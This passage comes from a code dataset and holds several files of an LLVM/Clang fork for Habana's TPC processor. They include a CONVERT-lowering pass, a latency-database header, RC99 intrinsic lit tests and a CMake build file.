opnd2.getImm();\n if (!(target_type_from == FP32)) goto LOOP_BOTTOM;\n int clean_type_to = ~((0xf << 8)|0x7);\n int window = sw & clean_type_to;\n int sw_to_i32 = window | (INT32 << 8); // sel == 0 for f32->i32 \n\n unsigned incomreg = MRI->createVirtualRegister(&TPC::VRFRegClass);\n\n MIB = BuildMI(*MBB, mi, MI->getDebugLoc(),\n TII->get(TPC::IMPLICIT_DEF), incomreg);\n\n unsigned dr2 = MRI->createVirtualRegister(&TPC::VRFRegClass);\n MIB = BuildMI(*MBB, mi, MI->getDebugLoc(), MI->getDesc(), dr2);\n MIB.add(MI->getOperand(1));\n MIB.addImm(0);\n MIB.addImm(sw_to_i32);\n MIB.addReg(incomreg);\n for (unsigned int i = 5; i < MI->getNumOperands(); i++) {\n MIB.add(MI->getOperand(i));\n }\n\n MIB = BuildMI(*MBB, mi, MI->getDebugLoc(), TII->get(is_gaudi?\n TPC::CONVERT_INT32g2vip:\n TPC::CONVERT_INT32vip), destreg);\n MIB.addReg(dr2);\n MIB.addImm(0);\n sw = ((target_type_to&1) <<19)|(rm <<15) | lane_sel;\n MIB.addImm(sw);\n for (unsigned int i = 4; i < MI->getNumOperands(); i++) {\n MIB.add(MI->getOperand(i));\n }\n MI->removeFromParent();\n ++NumReplaced;\n }\n else if (opc == TPC::CONVERTssp) {\n MachineOperand opnd2 = MI->getOperand(2);\n MachineOperand opnd3 = MI->getOperand(3);\n MachineOperand opnd4 = MI->getOperand(4);\n int64_t destreg = MI->getOperand(0).getReg();\n assert(opnd2.isImm() && opnd3.isImm() && opnd4.isReg());\n int64_t sw = opnd3.getImm();\n int lane_sel = sw & 3;\n int target_type_to = (sw >> 8) & 0xf;\n if (!(target_type_to == INT8 || target_type_to == INT16)) goto LOOP_BOTTOM;\n int rm = (sw >> 16) & 0xf;\n int target_type_from = opnd2.getImm();\n if (!(target_type_from == FP32)) goto LOOP_BOTTOM;\n int clean_type_to = ~((0xf << 8) | 0x7);\n int window = sw & clean_type_to;\n int sw_to_i32 = window | (INT32 << 8); \n unsigned incomreg = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*MBB, mi, MI->getDebugLoc(),\n TII->get(TPC::IMPLICIT_DEF), incomreg);\n unsigned dr2 = MRI->createVirtualRegister(&TPC::SRFRegClass);\n MIB = BuildMI(*MBB, mi, MI->getDebugLoc(), MI->getDesc(), dr2);\n MIB.add(MI->getOperand(1));\n MIB.addImm(0);\n MIB.addImm(sw_to_i32);\n MIB.addReg(incomreg);\n for (unsigned int i = 5; i < MI->getNumOperands(); i++) {\n MIB.add(MI->getOperand(i));\n }\n MIB = BuildMI(*MBB, mi, MI->getDebugLoc(), TII->get(is_gaudi ?\n TPC::CONVERT_INT32g2sip :\n TPC::CONVERT_INT32sip), destreg);\n\n MIB.addReg(dr2);\n MIB.addImm(0);\n sw = ((target_type_to&1) << 19) | (rm << 15) | lane_sel;\n MIB.addImm(sw);\n for (unsigned int i = 4; i < MI->getNumOperands(); i++) {\n MIB.add(MI->getOperand(i));\n }\n MI->removeFromParent();\n ++NumReplaced;\n\n }\n LOOP_BOTTOM:\n mi = nmi;\n }\n }\n return NumReplaced > 0;\n}\n" }, { "alpha_fraction": 0.6744186282157898, "alphanum_fraction": 0.6831395626068115, "avg_line_length": 56.16666793823242, "blob_id": "dc29c5f89abce01ff4ac360dcee9c13762b0f6c1", "content_id": "06fd7793c3a3000d1c7948abb5b2d51f1e264d94", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 344, "license_type": "permissive", "max_line_length": 86, "num_lines": 6, "path": "/clang/test/RC99/unsupported_types.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\nvoid call_base() {\n double d; // expected-error{{double is not supported on this target}}\n long double ld; // expected-error{{long double is not supported on this target}}\n long long ll; // expected-error{{long long is not supported on this target}}\n}\n\n" }, { "alpha_fraction": 0.442600280046463, "alphanum_fraction": 0.5587828755378723, "avg_line_length": 47.20000076293945, "blob_id": "539a321d9383f59ec46758c201a9e7a256b3347f", "content_id": "984a412dadd7e51cb0b28ffbbd813e372d4c876d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 723, "license_type": "permissive", "max_line_length": 111, "num_lines": 15, "path": "/clang/test/RC99/regression/gaudi-660a.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\nvoid main (int dest, float v, _Bool pred_1) {\n typedef struct _float256 {float64 v1; float64 v2; float64 v3; float64 v4;} float256;\n float256 out_value_1 = {0, 0, 0, 0},\n weight_value_1_float = {1, 1, 1, 1},\n in_value_1_float = { v, v, v, v };\n out_value_1.v1 = v_f32_mac_v_v_b(weight_value_1_float.v1, in_value_1_float.v1, out_value_1.v1, 0, pred_1, 0);\n *(float64 __local *)dest = out_value_1.v1;\n}\n\n// CHECK-DAG: mov.f32 %V[[ACC:[0-9]+]], 0x0\n// CHECK-DAG: mov.f32 %V[[OP1:[0-9]+]], 0x3f800000\n// CHECK: mac.f32 %V[[ACC:[0-9]+]], %V[[OP1]], %S1, %SP{{[0-9]+}}\n// CHECK: st_l_v %S0, 0x0, %V[[ACC]], %SP0\n" }, { "alpha_fraction": 0.6019061207771301, "alphanum_fraction": 0.6309347152709961, "avg_line_length": 31.399433135986328, "blob_id": "a33d12efd7b72b051f70d6d5a47a3f9b7d67cfee", "content_id": "281a7092aa87694ecc2dff9c146068699d6f070f", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11437, "license_type": "permissive", "max_line_length": 584, "num_lines": 353, "path": "/llvm/lib/Target/TPC/latencies.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- latencies.h - TPC latencies database ---------------- ------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// This file is the main database of the TPC hardware\n//\n//===----------------------------------------------------------------------===//\n#ifndef TPC_LATENCIES_H\n#define TPC_LATENCIES_H\n\n#include <cstdint>\n#include <map>\n#include <utility>\n#include <string>\n#include <iostream>\n\n//\n// Some stuff copied from tpcsim's VPE_ISA_GEN.h in order to compile this file\n//\n#define ISSUE_SLOT_ID_LOAD 0\n#define ISSUE_SLOT_ID_SPU 1\n#define ISSUE_SLOT_ID_VPU 2\n#define ISSUE_SLOT_ID_STORE 3\n\n#define OP_MAC\t\t\t\t\t\t0\n#define OP_MUL\t\t\t\t\t\t1\n#define OP_ADD\t\t\t\t\t\t2\n#define OP_SUB\t\t\t\t\t\t3\n#define OP_SHUFFLE\t\t\t\t\t\t\t44\n#define OP_PACK\t\t\t\t\t\t\t\t45\n#define OP_UNPACK\t\t\t\t\t\t\t46\n#define OP_MOV_DUAL_GROUP\t\t\t\t\t49\n#define OP_MOV_GROUP\t\t\t\t\t\t50\n#define OP_MSAC\t\t\t\t\t\t\t\t51\n#define OP_MADD\t\t\t\t\t\t\t\t55\n#define OP_UDIV_4STEP\t40\n#define OP_UDIV 40\n#define OP_MOV_IRF_DIM 38\n\n#define LOAD_OP_LD_G\t\t\t\t12\n#define LOAD_OP_LD_L_V\t\t\t\t14 \n#define LOAD_OP_LD_L_V_LOW\t\t\t15\n#define LOAD_OP_LD_L_V_HIGH\t\t\t16\n#define STORE_OP_EVENT 24\n#define STORE_OP_ST_G \t\t\t\t6\n#define STORE_OP_ST_L_V \t\t\t7\n#define STORE_OP_ST_L_V_LOW 8\n#define STORE_OP_ST_L_V_HIGH 9\n\n#define VPE_INSTRUCTION_LATENCY_TILL_COMMIT_CLOCKS\t7\n#define UDIV_LATENCY_TILL_COMMIT_CLOCKS\t12\n//\n// END OF Some stuff copied from tpcsim's VPE_ISA_GEN.h\n//\n\nusing namespace std;\n\n/*\n\nIssueSlot the_slotID;\ne_issue_slot_load = 0\ne_issue_slot_spu = 1\ne_issue_slot_vpu = 2\ne_issue_slot_store = 3\n\nuint32_t the_opCode;\nopcode of the instruction (mac/mul/add/sub/ld_tnsr/st_l_v... etc.)\n\nOperandID the_operandID;\ne_src_a = 0\ne_src_b = 1\ne_src_c = 2\ne_src_d = 3\ne_src_e = 4\ne_src_p = 50\ne_src_lfsr_reseed = 55\ne_dst = 60\n\nbool the_isOpTypeFloat;\ntrue for FP32, BF16, FP16, FP8_152, FP8_143\n\nbool the_isIRFDest;\ntrue if this instruction has an IRF destination\n\nbool the_isVectorPipe;\ntrue if this instruction has a VRF/VPRF destination\nset to true only for e_src_* types, but not for e_dst\n\nbool the_isLFSRImplicitDst;\ntrue if this instruction updates LFSR implicitly (CONVERT with SR)\n\nbool the_isAccFp32;\ntrue if it is an FMA operation (MAC/MUL/MADD for any FP type, ADD/SUB only for FP16/FP8*) and accumulator is of type FP32\n\nuint8_t the_idxDst0;\nrelevant only for BF16/FP16/FP8 FMA operations (MAC/MUL/ADD/SUB/MADD)\n(destination register index) % (modulo)\nmodulo is 4 for FP8* operations, and 2 for FP16/BF16 operations\nwe are using it to determine whether it is same-lane-bypass (i.e. from the same FMA to the same FMA) or cross-lane-bypass (from one FMA to another)\n\nbool the_is2SrfDst;\ntrue if this instruction has 2 SRF destinations (UDIV/MOV_IRF_DIM with BOTH/MOV ADRF-->2XSRF).\nIn this case this producer instrution will not have bypasses to other instructions (i.e. longer latency)\n\nbool the_is2xLookupAddSub;\ntrue if instruction is LOOKUP* with X2, or ADD/SUB FP32 with X2\n\nbool the_isFp16;\ntrue if source operands are FP16\n\nbool the_isFp8;\ntrue if source operands are FP8\n\nRegisterFile the_registerFile;\ne_rf_none = 0\ne_rf_v = 1\ne_rf_s = 2\ne_rf_i = 3\ne_rf_a = 4\ne_rf_sp = 5\ne_rf_vp = 6\ne_rf_imm = 7\n*/\n\nnamespace TPCLatencyEvaluation {\n\ntypedef enum _IssueSlot\n{\n e_issue_slot_load = 0,\n e_issue_slot_spu = 1,\n e_issue_slot_vpu = 2,\n e_issue_slot_store = 3\n} IssueSlot;\n\n\ntypedef enum _RegisterFile\n{\n e_rf_none = 0,\n e_rf_v = 1,\n e_rf_s = 2,\n e_rf_i = 3,\n e_rf_a = 4,\n e_rf_sp = 5,\n e_rf_vp = 6,\n e_rf_imm = 7,\n} RegisterFile;\n\n\ntypedef enum _Sop\n{\n\te_sop_load_a = 0,\n\te_sop_load_ia_bypass = 1,\n\te_sop_load_b = 2,\n\te_sop_load_ib_bypass = 3,\n\te_sop_spu_a = 4,\n\te_sop_spu_b = 5,\n\te_sop_spu_c = 6,\n\te_sop_spu_e = 7,\n\te_sop_spu_ia = 8,\n\te_sop_spu_ia_bypass = 9,\n\te_sop_spu_ib = 10,\n\te_sop_spu_ib_bypass = 11,\n\te_sop_spu_p = 12,\n\te_sop_store_a = 13,\n\te_sop_store_ia_bypass = 14,\n\te_sop_store_b = 15,\n\te_sop_store_ib_bypass = 16,\n\te_sop_store_c_g = 17,\n\te_sop_store_c_g_p = 18,\n\te_sop_store_c_l = 19,\n\te_sop_store_c_l_v = 20,\n\te_sop_store_c_l_p = 21,\n\te_sop_vpu_a = 22,\n\te_sop_vpu_b = 23,\n\te_sop_vpu_c = 24,\n\te_sop_vpu_d = 25,\n\te_sop_vpu_e = 26,\n\te_sop_vpu_p = 27,\n\te_sop_vpu_spu = 28,\n\te_sop_none = 29,\n} Sop;\n\n\ntypedef enum _Stage\n{\n e_stage_d2 = 0,\n e_stage_e1 = 1,\n e_stage_e2 = 2,\n e_stage_e3 = 3,\n e_stage_e4 = 4,\n e_stage_e5 = 5,\n e_stage_e6 = 6,\n e_stage_e7 = 7,\n\t e_stage_e8 = 8,\n\t e_stage_e9 = 9,\n\t e_stage_e10 = 10,\n\t e_stage_e11 = 11\n} Stage;\n\ntypedef enum _OperandID\n{\n e_src_a = 0,\n e_src_b = 1,\n e_src_c = 2,\n e_src_d = 3,\n e_src_e = 4,\n e_src_p = 50,\n e_src_lfsr_reseed = 55,\n e_dst = 60\n} OperandID;\n\n\ntypedef struct _InstructionForLatencyDetermination\n{\n _InstructionForLatencyDetermination() : the_slotID(e_issue_slot_store), the_opCode(0)\n\t \t\t\t, the_operandID(e_src_a), the_isOpTypeFloat(false), the_isIRFDest(false)\n\t\t\t\t, the_isVectorPipe(false), the_isLFSRImplicitDst(false), the_registerFile(e_rf_imm)\n {\n\n }\n/*\n _InstructionForLatencyDetermination(\n IssueSlot slotID,\n uint32_t opCode,\n OperandID operandID,\n bool isOpTypeFloat,\n bool isIRFDest,\n bool isVectorPipe,\n bool isLFSRImplicitDst,\n RegisterFile registerFile\n ) : the_slotID(slotID), the_opCode(opCode), the_operandID(operandID)\n\t , the_isOpTypeFloat(isOpTypeFloat), the_isIRFDest(isIRFDest)\n\t\t , the_isVectorPipe(isVectorPipe), the_isLFSRImplicitDst(isLFSRImplicitDst)\n\t\t , the_registerFile(registerFile)\n {\n\n }\n\n _InstructionForLatencyDetermination(\n IssueSlot slotID,\n uint32_t opCode,\n OperandID operandID,\n bool isOpTypeFloat,\n bool isIRFDest,\n bool isVectorPipe,\n bool isLFSRImplicitDst,\n bool isAccFp32,\n bool idxDst0,\n RegisterFile registerFile\n ) : the_slotID(slotID), the_opCode(opCode), the_operandID(operandID)\n\t , the_isOpTypeFloat(isOpTypeFloat), the_isIRFDest(isIRFDest)\n\t , the_isVectorPipe(isVectorPipe), the_isLFSRImplicitDst(isLFSRImplicitDst)\n\t , the_isAccFp32(isAccFp32), the_idxDst0(idxDst0), the_registerFile(registerFile)\n {\n\n }\t \n*/\t \n _InstructionForLatencyDetermination(\n IssueSlot slotID,\n uint32_t opCode,\n OperandID operandID,\n bool isOpTypeFloat,\n bool isIRFDest,\n bool isVectorPipe,\n bool isLFSRImplicitDst,\n bool isAccFp32,\n uint8_t idxDst0,\n bool is2SrfDst, \n bool is2xLookupAddSub,\n bool isFp16,\n\t\t bool isFp8,\n RegisterFile registerFile\n ) : the_slotID(slotID), the_opCode(opCode), the_operandID(operandID), \n\t\t the_isOpTypeFloat(isOpTypeFloat), the_isIRFDest(isIRFDest), \n\t\t the_isVectorPipe(isVectorPipe), the_isLFSRImplicitDst(isLFSRImplicitDst), \n\t\t the_isAccFp32(isAccFp32), the_idxDst0(idxDst0),\n\t\t the_is2SrfDst(is2SrfDst), the_is2xLookupAddSub(is2xLookupAddSub), the_isFp16(isFp16), the_isFp8(isFp8),\n\t\t the_registerFile(registerFile)\n {\n\n }\n\n IssueSlot the_slotID;\n uint32_t the_opCode;\n OperandID the_operandID;\n bool the_isOpTypeFloat;\n bool the_isIRFDest;\n bool the_isVectorPipe;\n bool the_isLFSRImplicitDst;\n bool the_isAccFp32;\n uint8_t the_idxDst0;\n bool the_is2SrfDst;\n bool the_is2xLookupAddSub;\n bool the_isFp16;\n bool the_isFp8;\n RegisterFile the_registerFile;\n\n\n friend bool operator<(const struct _InstructionForLatencyDetermination& l, const struct _InstructionForLatencyDetermination& r)\n {\n return std::tie(l.the_slotID, l.the_opCode, l.the_operandID, l.the_isOpTypeFloat, l.the_isIRFDest, l.the_isVectorPipe, l.the_isLFSRImplicitDst, l.the_isAccFp32, l.the_idxDst0, l.the_is2SrfDst, l.the_is2xLookupAddSub, l.the_isFp16, l.the_isFp8, l.the_registerFile)\n < std::tie(r.the_slotID, r.the_opCode, r.the_operandID, r.the_isOpTypeFloat, r.the_isIRFDest, r.the_isVectorPipe, r.the_isLFSRImplicitDst, r.the_isAccFp32, r.the_idxDst0, r.the_is2SrfDst, r.the_is2xLookupAddSub, r.the_isFp16, r.the_isFp8, r.the_registerFile); // keep the same order\n }\n\n friend std::ostream& operator<<(std::ostream& os, const struct _InstructionForLatencyDetermination& r)\n {\n return os << std::dec << \"slotID.\" << std::dec << r.the_slotID << \", opCode.\" << r.the_opCode << \", operandID.\" << r.the_operandID << \", isOpTypeFloat.\" << r.the_isOpTypeFloat << \", isIRFDest.\" << r.the_isIRFDest << \", isVectorPipe.\" << r.the_isVectorPipe << \", isLFSRImplicitDst.\" << r.the_isLFSRImplicitDst << \", isAccFp32.\" << r.the_isAccFp32 << \", isEvenIdxDst0.\" << +r.the_idxDst0 << \", is2SrfDst.\" << r.the_is2SrfDst << \", is2xLookupAddSub.\" << r.the_is2xLookupAddSub << \", isFp16.\" << r.the_isFp16 << \", isFp8.\" << r.the_isFp8 << \", RF.\" << r.the_registerFile << '\\n';\n }\n\n _InstructionForLatencyDetermination\n operator=(const _InstructionForLatencyDetermination &other) {\n if (this != &other) {\n this->the_slotID = other.the_slotID;\n this->the_operandID = other.the_operandID;\n this->the_opCode = other.the_opCode;\n this->the_isOpTypeFloat = other.the_isOpTypeFloat;\n this->the_isIRFDest = other.the_isIRFDest;\n this->the_isVectorPipe = other.the_isVectorPipe;\n this->the_isLFSRImplicitDst = other.the_isLFSRImplicitDst;\n this->the_isAccFp32 = other.the_isAccFp32;\n this->the_idxDst0 = other.the_idxDst0;\n this->the_is2SrfDst = other.the_is2SrfDst;\n this->the_is2xLookupAddSub = other.the_is2xLookupAddSub;\n this->the_isFp16 = other.the_isFp16;\n this->the_registerFile = other.the_registerFile;\n }\n return *this;\n }\n\n std::string str() const;\n} InstructionForLatencyDetermination;\n\ntypedef std::pair<Stage, Sop> StageSopPair;\n\nextern std::map<InstructionForLatencyDetermination, StageSopPair> latenciesDB;\nextern std::map<Sop, Stage> sopDB;\n\n//void buildInstructionLatenciesDB(TPCGenerations tpc_generation=TPCGenerations::DALI);\nvoid dali_buildInstructionLatenciesDB();\nvoid gaudi_buildInstructionLatenciesDB();\nbool dali_overrideMulIRFToD2(InstructionForLatencyDetermination &producer, InstructionForLatencyDetermination &consumer);\nbool gaudi_overrideMulIRFToD2(InstructionForLatencyDetermination &producer, InstructionForLatencyDetermination &consumer);\nuint32_t calculateLatency( InstructionForLatencyDetermination &producer\n , InstructionForLatencyDetermination &consumer\n , uint8_t tpc_generation=1); //1=TPCGenerations::DALI\n\nvoid setDefaultLatency(uint32_t val);\n} // namespace TPCLatencyEvaluation\n\n#endif // TPC_LATENCIES_H\n" }, { "alpha_fraction": 0.5599128603935242, "alphanum_fraction": 0.6361655592918396, "avg_line_length": 27.5625, "blob_id": "bab28747c17f8afacf1a452fc374688182b831fb", "content_id": "2d83ba81f20808338e31adfe95f8318d9888ac04", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 459, "license_type": "permissive", "max_line_length": 95, "num_lines": 16, "path": "/clang/test/RC99/regression/gaudi-669.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -S -march=gaudi 2>&1 | FileCheck %s -allow-empty\n\n\nvoid main(int x0, int x2, int x3, int dest0)\n{\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n float64 __local *res0 = (float64 __local *)dest0;\n\n float64 temp_res0 = 0;\n\n temp_res0 = v_f32_lookup_1c_v_b(*ptr_x0, temp_res0, 0, e_fp32_sqrt, x3, 0);\n\n *res0 = temp_res0;\n}\n\n//CHECK-NOT: Warning: Producer wasn't found in latencies DB therefore returning defualt latency\n\n\n" }, { "alpha_fraction": 0.727990984916687, "alphanum_fraction": 0.727990984916687, "avg_line_length": 19.136363983154297, "blob_id": "19e0b89f451ac1448b52297de2b03934c1e6a3e5", "content_id": "724477721418707d2fda677a21ff7684cab32005", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 886, "license_type": "permissive", "max_line_length": 75, "num_lines": 44, "path": "/clang/tools/llvm-tpc/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "set(LLVM_EXPORTED_SYMBOL_FILE ${CMAKE_CURRENT_SOURCE_DIR}/llvm-tpc.exports)\n\nadd_clang_library(LLVMTPC SHARED\n Compiler.cpp\n Disassembler.cpp\n MemoryManager.cpp\n RedirectOutput.cpp\n ../../../llvm/tools/llvm-objdump/COFFDump.cpp\n ../../../llvm/tools/llvm-objdump/ELFDump.cpp\n ../../../llvm/tools/llvm-objdump/MachODump.cpp\n ../../../llvm/tools/llvm-objdump/WasmDump.cpp\n ../../../llvm/tools/llvm-objdump/TPCDump.cpp\n\n DEPENDS\n intrinsics_gen\n\n LINK_LIBS\n clangCodeGen\n\n LINK_COMPONENTS\n ${LLVM_TARGETS_TO_BUILD}\n Analysis\n CodeGen\n Core\n IPO\n AggressiveInstCombine\n InstCombine\n Instrumentation\n MC\n MCParser\n Option\n ScalarOpts\n Symbolize\n TransformUtils\n Vectorize\n )\n\ntarget_include_directories(LLVMTPC PRIVATE\n ${LLVM_MAIN_SRC_DIR}\n ${LLVM_BINARY_DIR}\n )\n\nset_property(TARGET LLVMTPC PROPERTY SOVERSION)\nset_property(TARGET LLVMTPC PROPERTY VERSION)\n" }, { "alpha_fraction": 0.4125159680843353, "alphanum_fraction": 0.49297574162483215, "avg_line_length": 28, "blob_id": "5770503ab0dcabfbb608b6a914b7794af41e3907", "content_id": "c5096c1a6ed83d987b52a101b302d78a7b3797f7", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 783, "license_type": "permissive", "max_line_length": 78, "num_lines": 27, "path": "/clang/test/RC99/Intrinsics/s_i8_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(signed char x0, signed char x1, int dest, _Bool pred) {\n signed __local *dptr = (signed __local *)dest;\n signed res = 0;\n\n res = s_i8_mac_s_s(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_i8_mac_s_s(x0, 1, res, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %S{{[0-9]+}}, %S0, 0x1, %SP0\n\n res = s_i8_mac_s_s(x0, 1, res, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %S{{[0-9]+}}, %S0, 0x1, %SP0\n\n res = s_i8_mac_s_s_b(x0, x1, res, 1, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 st %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_i8_mac_s_s_b(x0, 2, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %S{{[0-9]+}}, %S0, 0x2, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.4935765266418457, "alphanum_fraction": 0.5606661438941956, "avg_line_length": 39.403846740722656, "blob_id": "73443c3af521485b6e89e67a92c519e67423d10b", "content_id": "175ffbece4a65cc2f88fb586972a0671c33302d6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6305, "license_type": "permissive", "max_line_length": 135, "num_lines": 156, "path": "/clang/test/RC99/Intrinsics/v_convert_u32_to_u8.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefixes=CHECK,GEN2P %s\n\nvoid main(int dest, int src1, int src2, int vpredp, char sh1, _Bool pred) {\n volatile uchar256 __local *dest_ptr = (uchar256 __local *)dest;\n uint64 __local *src_ptr = (uint64 __local *)src1;\n char256 __local *shift_ptr = (char256 __local *)src2;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n \n uint64 x = *src_ptr++;\n char256 shift = *shift_ptr++;\n bool256 vpred = *vpred_ptr++;\n uchar256 income = *dest_ptr;\n\n// CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[SHIFT:%V[0-9]+]], %S2\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S3\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S5\n\n // v_convert_uint32_to_u8_b\n {\n uchar256 res = income;\n \n res = v_convert_uint32_to_u8_b(x, shift, 0, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rhne to_8 [[DEST]], [[SRC]], [[SHIFT]], [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, 4, 0, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rhne to_8 [[DEST]], [[SRC]], 0x4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 0, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rhne to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 0, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rhne to_8 [[DEST]], [[SRC]], %S4, %SP1\n\n#if defined(__gaudi__)\n res = v_convert_uint32_to_u8_b(x, sh1, 0, SW_RZ, res, pred, 0);\n *dest_ptr++ = res;\n// GEN2P: convert_uint32 lane_sel=0 rz to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n#endif\n\n res = v_convert_uint32_to_u8_b(x, sh1, 0, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rd to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 0, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 ru to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 0, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 sr to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 1, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=1 rhne to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 1, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=1 rhne to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 1, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=1 rd to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 1, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=1 ru to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 1, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=1 sr to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 2, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=2 rhne to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 2, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=2 rhne to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 2, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=2 rd to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 2, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=2 ru to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 2, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=2 sr to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 3, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=3 rhne to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 3, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=3 rhne to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 3, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=3 rd to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_uint32_to_u8_b(x, sh1, 3, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=3 ru to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = 